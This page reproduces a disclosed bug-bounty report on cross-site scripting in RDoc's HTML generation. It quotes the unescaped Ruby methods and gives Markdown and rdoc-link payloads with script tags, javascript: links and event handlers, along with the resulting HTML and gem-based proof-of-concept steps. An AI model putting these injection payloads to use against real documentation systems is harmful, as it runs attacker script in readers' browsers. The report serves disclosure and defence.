Skip to content
XSS Disclosed report Intermediate

XSS in HTML generated by RDoc

RDoc's HTML generation does not escape input in several places, so script tags or event handlers can be injected into generated documentation and run when viewed.

ooooooo_q Follow

Originally disclosed on HackerOne

  • Disclosed after 2.2 years

XSS is possible in some places because escaping is not enough in the html generation part of RDoc.

RDoc::Markup::ToHtml#gen_url

https://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/markup/to_html.rb#L330

Ruby
  def gen_url url, text
    scheme, url, id = parse_url url

    if %w[http https link].include?(scheme) and
       url =~ /\.(gif|png|jpg|jpeg|bmp)$/ then
      "<img src=\"#{url}\" />"
    else
      if scheme != 'link' and /\.(?:rb|rdoc|md)\z/i =~ url
        url = url.sub(%r%\A([./]*)(.*)\z%) { "#$1#{$2.tr('.', '_')}.html" }
      end

      text = text.sub %r%^#{scheme}:/*%i, ''
      text = text.sub %r%^[*\^](\d+)$%,   '\1'

      link = "<a#{id} href=\"#{url}\">#{text}</a>"

      link = "<sup>#{link}</sup>" if /"foot/ =~ id

      link
    end
  end
MD
[<script>alert`link text`</script>](a)

[click](javascript:alert`javascript_scheme`)

[onmouseover](http://"/onmouseover="alert`on_mouse_link`")

[link_image](http://"onerror="alert`link_image`".png)

HTML containing the following XSS will be generated.

HTML
<p><a href="a"><script>alert`link text`</script></a></p>

<p><a href="javascript:alert`javascript_scheme`">click</a></p>

<p><a href="http://"/onmouseover="alert`on_mouse_link`"">onmouseover</a></p>

<p>{{media:1}}</p>

RDoc::Markup::ToHtml#handle_RDOCLINK

https://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/markup/to_html.rb#L97

Ruby
  def handle_RDOCLINK url # :nodoc:
    case url
    when /^rdoc-ref:/
      $'
    when /^rdoc-label:/
      text = $'

      text = case text
             when /\Alabel-/    then $'
             when /\Afootmark-/ then $'
             when /\Afoottext-/ then $'
             else                    text
             end

      gen_url url, text
    when /^rdoc-image:/
      "<img src=\"#{$'}\">"
    else
      url =~ /\Ardoc-[a-z]+:/

      $'
    end
  end
MARKDOWN
rdoc-image:"><script>alert(`rdoc-image`)</script>"

rdoc-label::path::"><script>alert(`rdoc-label_id`)</script>"

rdoc-label::"><script>alert(`rdoc-label_path`)</script>"

rdoc-ref:"><script>alert(`rdoc-ref`)</script>"

rdoc-xxx:"><script>alert(`rdoc-xxx`)</script>"
HTML
<p><img src=""><script>alert(`rdoc-image`)</script>“”></p>

<p><a id="path::"><script>alert(`rdoc-label_id`)</script>“” href=“#”>:path::“><script>alert(`rdoc-label_id`)</script>”</a></p>

<p><a id=""><script>alert(`rdoc-label_path`)</script>“” href=“#”>:“><script>alert(`rdoc-label_path`)</script>”</a></p>

<p>“><script>alert(`rdoc-ref`)</script>”</p>

<p>“><script>alert(`rdoc-xxx`)</script>”</p>

RDoc::Markup::ToHtmlSnippet#gen_url

https://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/markup/to_html_snippet.rb#L168

Ruby
  def gen_url url, text
    if url =~ /^rdoc-label:([^:]*)(?::(.*))?/ then
      type = "link"
    elsif url =~ /([A-Za-z]+):(.*)/ then
      type = $1
    else
      type = "http"
    end

    if (type == "http" or type == "https" or type == "link") and
       url =~ /\.(gif|png|jpg|jpeg|bmp)$/ then
      ''
    else
      text.sub(%r%^#{type}:/*%, '')
    end
  end
MARKDOWN
[{{media:2}}](a)

XSS tag is embedded in js/search_index.js.

JavaScript
["search","","target/search_md.html","","<p><img/src=\".\"/onerror=alert(\"search\")>\n"]

Rubygems RDoc home

https://github.com/ruby/rdoc/blob/v6.3.0/lib/rdoc/generator/template/darkfish/index.rhtml#L20

HTML
<p>This is the API documentation for <%= @title %>.

XSS is possible because @title is not escaped in the template used when RDoc is run by rubygems.


PoC

$ gem -v
3.2.17

$ rdoc -v
6.3.1

Build the gem using the attached xss.md and rdoc_xss.gemspec files.

$ gem build rdoc_xss.gemspec

$ gem install rdoc_title_xss-0.0.1.gem

$ gem sever

Confirm multiple xss by opening the http://0.0.0.0:8808/doc_root/rdoc_title_xss-0.0.1/ screen in browser.

rdoc_xss.png
rdoc_xss.png From the original on HackerOne

Impact

XSS may be included if there is a function that generates html with RDoc for a file passed from the external.

One of the XSS attack methods was previously reported to gitlab. ( https://hackerone.com/reports/200693 ) ( Probably sanitized by html-pipeline.)

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the HTML generation methods do not properly escape or validate user-supplied input before inserting it into HTML attributes or text, and the template also fails to escape the title.

Impact

XSS may be included if there is a function that generates html with RDoc for a file passed from the external.

What the attacker needed

Victim views generated documentation; attacker controls documentation input

How it was found

  1. Build a gem using the provided xss.md and rdoc_xss.gemspec files.
  2. Install the built gem.
  3. Start a gem server.
  4. Open the documentation page in a browser to see the XSS.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

RDoc is a tool that turns documentation comments into HTML pages. The report shows that when RDoc builds these pages, it sometimes inserts text from the documentation directly into the HTML without cleaning it, so a malicious author can include a script that runs when someone opens the page. This is called cross-site scripting (XSS) and can let an attacker run code in a victim's browser.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.